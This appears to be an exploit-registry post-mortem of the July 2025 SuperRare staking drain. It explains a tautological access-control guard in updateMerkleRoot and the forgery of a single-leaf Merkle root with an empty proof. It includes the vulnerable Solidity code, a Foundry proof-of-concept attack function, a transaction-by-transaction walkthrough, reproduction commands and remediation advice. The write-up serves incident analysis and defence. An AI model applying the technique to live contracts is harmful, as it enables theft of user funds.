Reproduced Exploit
SuperRare Staking Exploit — Permissionless `updateMerkleRoot()` + Single-Leaf Merkle Forgery
RareStakingV1.updateMerkleRoot() is meant to be callable only by the owner or one whitelisted address. Its guard is written with the comparison inverted:
Loss
~$730K — 11,907,874.713 RARE drained from the staking contract (its entire RARE balance)
Chain
Ethereum
Category
Access Control
Date
Jul 2025
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2025-07-SuperRare_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/SuperRare_exp.sol.
Vulnerability classes: vuln/access-control/broken-logic · vuln/logic/wrong-condition
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the umbrella DeFiHackLabs repo does not whole-compile, so this PoC was extracted into a standalone project). Full verbose trace: output.txt. Verified vulnerable source: src_RareStakingV1.sol.
Key info#
| Loss | ~$730K — 11,907,874.713 RARE drained from the staking contract (its entire RARE balance) |
| Vulnerable contract | RareStakingV1 (implementation) — 0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC |
| Victim | SuperRare staking proxy (ERC1967Proxy) — 0x3f4D749675B3e48bCCd932033808a7079328Eb48 |
| Token drained | RARE (SuperRareToken) — 0xba5BDe662c17e2aDFF1075610382B9B691296350 |
| Attacker EOA | 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2 |
| Attacker contract | 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab |
| Attack tx | 0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1 |
| Chain / block / date | Ethereum mainnet / 23,016,423 / July 28, 2025 |
| Compiler | Solidity v0.8.28, optimizer disabled |
| Bug class | Broken access control (inverted `!= ... |
TL;DR#
RareStakingV1.updateMerkleRoot() is meant to be callable only by the owner or one whitelisted
address. Its guard is written with the comparison inverted:
require((msg.sender != owner() || msg.sender != address(0xc2F3...)), "Not authorized ...");
Because the two operands are joined with || and both are !=, the predicate is a tautology —
it is true for every possible caller (no address can be simultaneously equal to both owner()
and 0xc2F3..., so at least one != is always satisfied). The function therefore has no access
control at all: anyone can overwrite currentClaimRoot.
The reward-claim path then trusts that root through a standard OpenZeppelin MerkleProof.verify.
The attacker simply:
- Computed a single-leaf Merkle root equal to
keccak256(abi.encodePacked(attacker, amount)), whereamountis the contract's entire RARE balance. - Called
updateMerkleRoot(thatRoot)— permitted by the broken guard. - Called
claim(amount, [])with an empty proof. For a one-element tree the leaf is the root, soMerkleProof.verify([], root, leaf)returnstrue, and the contract transferred all 11,907,874.713 RARE to the attacker.
No flash loan, no capital, no staked balance — two calls, total drain.
Background — what the SuperRare staking contract does#
RareStakingV1 (source) is a UUPS-upgradeable
staking + Merkle-based reward distributor for the SuperRare (RARE) token, sitting behind an
ERC1967Proxy at 0x3f4D…Eb48. Users can:
stake/unstake/delegateRARE (:69-140).claimrewards for the current "round." Eligibility for a round is proven against a per-round Merkle root (currentClaimRoot): a leaf iskeccak256(recipient, value), and a caller submits the Merkle proof for their leaf (:142-176).
Each reward epoch, the operator is supposed to publish a new root via updateMerkleRoot, which
bumps currentRound. The contract simply holds a pile of RARE and pays it out to whoever can prove
membership in the active root.
On-chain state at the fork block (read via cast):
| Parameter | Value |
|---|---|
owner() | 0x860a80d33E85e97888F1f0C75c6e5BBD60b48DA9 |
currentRound (pre-attack) | 2 |
currentClaimRoot (pre-attack) | 0x9bddda3825a4928a2bf9c0919e5179e621a7f8784dcff371d3b52d67807725b1 |
| RARE held by the staking proxy | 11,907,874,713,019,104,529,057,960 wei = 11,907,874.713 RARE |
| RARE decimals | 18 |
The entire RARE balance is the prize; the only thing standing between an attacker and it is the Merkle gate — and that gate was attacker-controllable.
The vulnerable code#
1. The broken authorization guard on updateMerkleRoot#
src_RareStakingV1.sol:178-184:
function updateMerkleRoot(bytes32 newRoot) external override {
require(
(msg.sender != owner() || msg.sender != address(0xc2F394a45e994bc81EfF678bDE9172e10f7c8ddc)),
"Not authorized to update merkle root"
);
if (newRoot == bytes32(0)) revert EmptyMerkleRoot();
currentClaimRoot = newRoot;
currentRound++;
emit NewClaimRootAdded(newRoot, currentRound, block.timestamp);
}
The author clearly intended "only the owner OR the whitelisted keeper may call this", i.e.
require(msg.sender == owner() || msg.sender == 0xc2F3..., "Not authorized");
What was shipped is the De-Morgan-inverted opposite. Evaluate it for any caller X:
X != owner()is false only whenX == owner().X != 0xc2F3...is false only whenX == 0xc2F3....- Since
owner()(0x860a…) and0xc2F3…are two different addresses, no singleXcan equal both. Hence at least one!=is always true, andtrue || …/… || true⇒ therequirealways passes.
The intended allow-list is meaningless; updateMerkleRoot is effectively public and
unauthenticated.
2. The claim path trusts that attacker-set root with no other gate#
src_RareStakingV1.sol:142-176:
function claim(uint256 amount, bytes32[] calldata proof) public override nonReentrant {
if (!verifyEntitled(_msgSender(), amount, proof))
revert InvalidMerkleProof();
if (lastClaimedRound[_msgSender()] >= currentRound)
revert AlreadyClaimed();
lastClaimedRound[_msgSender()] = currentRound;
_token.safeTransfer(_msgSender(), amount); // ← pays out `amount` of RARE
emit TokensClaimed(currentClaimRoot, _msgSender(), amount, currentRound);
}
function verifyEntitled(address recipient, uint256 value, bytes32[] memory proof)
public view override returns (bool)
{
bytes32 leaf = keccak256(abi.encodePacked(recipient, value));
return verifyProof(leaf, proof); // MerkleProof.verify(proof, currentClaimRoot, leaf)
}
The OpenZeppelin proof verifier (MerkleProof.sol:45-62):
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) { // ← empty proof ⇒ loop body never runs
computedHash = Hashes.commutativeKeccak256(computedHash, proof[i]);
}
return computedHash; // ← returns the leaf unchanged
}
With an empty proof, processProof returns the leaf verbatim, so verify reduces to
leaf == root. If the attacker sets root := keccak256(abi.encodePacked(attacker, amount)), then
claim(amount, []) passes verification for amount of their own choosing.
The two follow-on checks do not help:
lastClaimedRound[attacker] (= 0) >= currentRound (= 3 after the root update)→false, so noAlreadyClaimedrevert.nonReentrantis irrelevant — the attack is a single straight-linetransfer, not reentrancy.
Root cause — why it was possible#
Two independent issues compose into a 1-transaction full drain:
-
Inverted authorization predicate (the bug).
updateMerkleRootusesmsg.sender != A || msg.sender != B, which is a tautology, instead ofmsg.sender == A || msg.sender == B. The state variable that defines who is allowed to be paid (currentClaimRoot) became writable by anyone. This is the entire vulnerability — the rest is mechanical. -
Self-attesting single-leaf Merkle proofs. OpenZeppelin's
MerkleProof.verifylegitimately treats a one-element tree as "root == leaf," accepting an empty proof. This is correct library behavior; it only becomes dangerous when the root is attacker-controlled. Once issue #1 hands the attacker the root, they construct a degenerate tree whose single leaf encodes(their address, the contract's full balance), and the claim sails through.
A defense-in-depth contract would also (a) bind claim eligibility to actually-staked balances or a fixed, owner-funded reward budget, and (b) never let a freshly-set root be claimed against in the same transaction. None of those existed, so control of the root equals control of the treasury.
Preconditions#
- None beyond being able to send two transactions. No staked balance, no prior interaction, no capital, no flash loan, no special timing.
- The staking contract must hold RARE to steal (it held 11.9M RARE).
updateMerkleRootrejectsbytes32(0), so the forged root must be non-zero — trivially satisfied since it is a real keccak hash.- The attacker's
lastClaimedRoundmust be< currentRound(true for any never-claimed address; the root update itself bumpscurrentRound, guaranteeing it).
Step-by-step attack walkthrough (with on-chain numbers from the trace)#
All figures are taken directly from output.txt. amount =
11,907,874,713,019,104,529,057,960 wei RARE = the staking contract's full balance.
| # | Action | Call / value | Effect (from trace) |
|---|---|---|---|
| 0 | Read target balance | RARE.balanceOf(proxy) | 11,907,874,713,019,104,529,057,960 RARE → used as amount (output.txt:36-42) |
| 1 | Forge root off-chain | root = keccak256(abi.encodePacked(attacker, amount)) | 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e (verified == the leaf) |
| 2 | Overwrite Merkle root | proxy.updateMerkleRoot(root) → impl delegatecall | Guard passes (tautology). currentClaimRoot: 0x9bdd… → 0x93f3…; currentRound: 2 → 3 (output.txt:53-62) |
| 3 | Claim entire balance | proxy.claim(amount, [] ) with empty bytes32[] | verifyEntitled computes leaf == root ⇒ MerkleProof.verify([], root, leaf) = true; lastClaimedRound[attacker]=0 < 3 ⇒ no AlreadyClaimed |
| 4 | Payout | _token.safeTransfer(attacker, amount) | Transfer(proxy → attacker, 11,907,874,713,019,104,529,057,960) (output.txt:67-72) |
| 5 | Confirm | RARE.balanceOf(attacker) | 11,907,874,713,019,104,529,057,960 (was 0) (output.txt:83-89) |
The PoC contract bundles steps 2–3 into one attack() call
(test/SuperRare_exp.sol:68-73):
function attack(bytes32 newRoot, uint256 amout) public {
IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
target.updateMerkleRoot(newRoot); // overwrite root (no auth)
bytes32[] memory proof = new bytes32[](https://github.com/sanbir/evm-hack-registry/tree/main/2025-07-SuperRare_exp/0); // EMPTY proof
target.claim(amout, proof); // claim full balance
}
Profit / loss accounting#
| RARE (wei) | RARE | Approx. USD | |
|---|---|---|---|
| Staking contract before | 11,907,874,713,019,104,529,057,960 | 11,907,874.713 | ~$730,000 |
| Staking contract after | 0 | 0 | $0 |
| Attacker contract before | 0 | 0 | $0 |
| Attacker contract after | 11,907,874,713,019,104,529,057,960 | 11,907,874.713 | ~$730,000 |
| Net attacker profit | +11,907,874,713,019,104,529,057,960 | +11,907,874.713 RARE | ~+$730K |
The attacker walked off with 100% of the staking contract's RARE for zero capital outlay.
Diagrams#
Sequence of the attack#
Authorization-predicate truth table (why the guard never blocks)#
Contract state evolution#
Why the forged root works (single-leaf tree)#
A Merkle tree with exactly one leaf has that leaf as its root — there are no sibling hashes to
combine. OpenZeppelin's processProof walks the supplied proof array hashing the leaf with each
sibling; with a zero-length array it returns the leaf untouched, and verify checks
leaf == root. So the attacker only needs:
leaf = keccak256(abi.encodePacked(attacker, amount))
root = leaf // the single-leaf tree's root
proof = [] // no siblings needed
Verified independently with cast:
keccak256( 08947cedf35f9669012bda6fda9d03c399b017ab // attacker (20 bytes, packed)
+ 00000000000000000000000000000000000000000009d9972e8262b432cd88a8 ) // amount (32 bytes)
= 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e
which is exactly the fakeRoot hardcoded in the PoC
(test/SuperRare_exp.sol:52).
Remediation#
-
Fix the authorization predicate. Replace the tautological guard with the intended positive check:
require( msg.sender == owner() || msg.sender == 0xc2F394a45e994bc81EfF678bDE9172e10f7c8ddc, "Not authorized to update merkle root" );Better still, use a role/
onlyOwnermodifier (consistent with the rest of the contract, which already usesonlyOwneronupdateTokenAddressand_authorizeUpgrade) and an explicitAccessControlallow-list rather than a hard-coded literal address. -
Treat single-leaf / empty-proof claims as suspicious. If reward trees are always expected to have ≥ 2 leaves, reject
proof.length == 0(or require a minimum tree depth). This neutralizes the "root == leaf" forgery even if a root is ever mis-set. -
Bound payouts to funded budgets, not the full balance. Claims should be checked against a per-round reward allotment (and ideally the claimant's actual staked share), so a single claim can never exceed the intended distribution — let alone the whole treasury.
-
Decouple root setting from immediate claimability. Introduce a timelock / two-step (propose → finalize) for root updates, so a maliciously set root cannot be claimed against in the same block.
-
Test the negative case. A single unit test asserting that a non-owner call to
updateMerkleRootreverts would have caught this immediately; the inverted operator survived because only the positive (owner) path was exercised.
How to reproduce#
The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo does not
whole-compile under forge test):
_shared/run_poc.sh 2025-07-SuperRare_exp -vvvvv
- RPC: an Ethereum mainnet archive endpoint is required (fork block 23,016,422).
foundry.tomluses an Infura archive endpoint; if it returns401 invalid project id, rotate the/v3/<key>to another configured key. - Result:
[PASS] testExploit(), with the attack contract's RARE balance going from0to11907874713019104529057960.
Expected tail:
Ran 1 test for test/SuperRare_exp.sol:SuperRare
stakingContractBalance 11907874713019104529057960
attackContract Balance Before 0
attackContract Balance After 11907874713019104529057960
[PASS] testExploit() (gas: 482316)
Suite result: ok. 1 passed; 0 failed; 0 skipped
References: SlowMist (@SlowMist_Team), SolidityScan analysis (https://blog.solidityscan.com/superrare-hack-analysis-488d544d89e0).
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2025-07-SuperRare_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
SuperRare_exp.sol. - Attack transaction: view on explorer.
Alerts & third-party analyses
- Original alert / thread: post on X.
- DeFiHackLabs incident explorer: search "SuperRare Staking Exploit".
- Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.